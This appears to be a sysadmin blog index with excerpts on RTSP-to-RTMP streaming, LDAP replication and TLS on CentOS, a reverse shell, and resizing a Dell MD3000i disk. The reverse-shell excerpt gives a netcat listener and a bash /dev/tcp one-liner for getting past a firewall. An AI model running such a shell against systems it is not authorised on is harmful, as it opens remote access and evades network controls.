An ongoing adventure

Converting Axis RTSP to RTMP Streams

These are some notes I took while integrating a solution providing live streaming of an Axis camera to a media server that converted the stream from rtsp to rtmp and was displayed on a website using flowplayer. The following technologies were used to accomplish this configuration:

LDAP Replication

I recently had a project where I needed to provide replication for a CentOS 5 LDAP server. The slave (consumer) was going to be running CentOS 6. This post assumes you already have (2) working LDAP servers, fully resolvable, and all ldapsearch queries respond appropriately.

For clarification:

Master (Provider in LDAP terms) - CentOS 5 server

Slave (Consumer in LDAP terms) - CentOS 6 server

On the Master:

Create a new account named replicate. Give the replicate account a password and make sure you can fully query the account from the Slave using ldapsearch.

An example ldapsearch to run from the Slave:

ldapsearch -h master.localdomain -p 389 -x -b "dc=localdomain,dc=com" -D "uid=replicate,ou=People,dc=localdomain,dc=com" -W

Add the following to slapd.conf on the Master

vi /etc/openldap/slapd.conf

sizelimit    100000

access to *
    by self write
    by dn="cn=replicate,ou=People,dc=localdomain,dc=com" read
    by * read

CentOS 6.4 LDAP With TLS - Quick & Dirty

This post is an overview of the commands needed to setup a basic working LDAP TLS server using CentOS 6.4. I will also go over the process of creating a POSIX user account and a POSIX group. The archived version of this is for CentOS 6 and can be found here: CentOS 6 LDAP With TLS

Add the following to your iptables configuration to allow access through the firewall, then install the required packages for your LDAP server.


-A INPUT -m state --state NEW -m tcp -p tcp --dport 389 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 636 -j ACCEPT

service iptables restart

yum install openldap-clients pam_ldap nss-pam-ldapd pam_krb5 sssd migrationtools openldap-servers openldap openldap-devel

Note: The steps for creating the certificates are crucial for TLS to work properly and have changed since CentOS 6.0

Reverse Shell on CentOS

I wanted an easy way to get to the shell on my remote machine bypassing the firewall etc.

I’m going to refer to the systems as follows: OurSystem TargetSystem

On OurSystem we need to open a listening network connection using netcat. This can be any port we want, but I’m going to use port 443 because it’s allowed through firewalls.

nc -l 443

Note: Make sure the firewall isn’t blocking the listening port you choose on OurSystem

Next we need to force a bash shell back to OurSystem from TargetSystem. On the TargetSystem execute the following, substitute with the external IP of OurSystem, substitute 443 with the port you set netcat to listen on.

bash -i >& /dev/tcp/ 0>&1

You should be greeted with a bash shell from TargetSystem on OurSystem.

Increase Dell MD3000i Virtual Disk Size

I needed to increase the size of a virtual disk on my Dell MD3000i. The MD3000i provides the storage space for my vSphere VM’s. The interface ‘Modular Disk Storage Manager’ does not provide a way to increase the size. To increase the size you must use the SMcli.exe (command line interface) provided with the Storage Manager client.

From the computer the ‘Modular Disk Storage Manager’ is installed on, open a CMD window and change to the following directory:

C:\Program Files\Dell\MD Storage Manager\client>

From this directory execute the following command (an explanation of the switches is below):

smcli -n Production_Storage -c "set virtualDisk [\"virtual_disk_name\"] addCapacity=26843545600;" -p "password"

Where Production_Storage is the name of your storage array, virtual_disk_name is the name of the virtual disk to increase, 26843545600 is the amount to increase the virtual disk in bytes (in this case 25GB, use this calculator to convert from GB to Bytes: Convert GB to Bytes), and password is the password to the storage array.

Once the operation is complete you will need to extend the Datastore in vSphere.

Locate the datastore, right-click the datastore, select properties and select the ‘Increase …’ button. Next you should see a selection of available devices and the same LUN should appear, select it and click next. Vsphere should see the additional free space and upon clicking next it will expand the volume.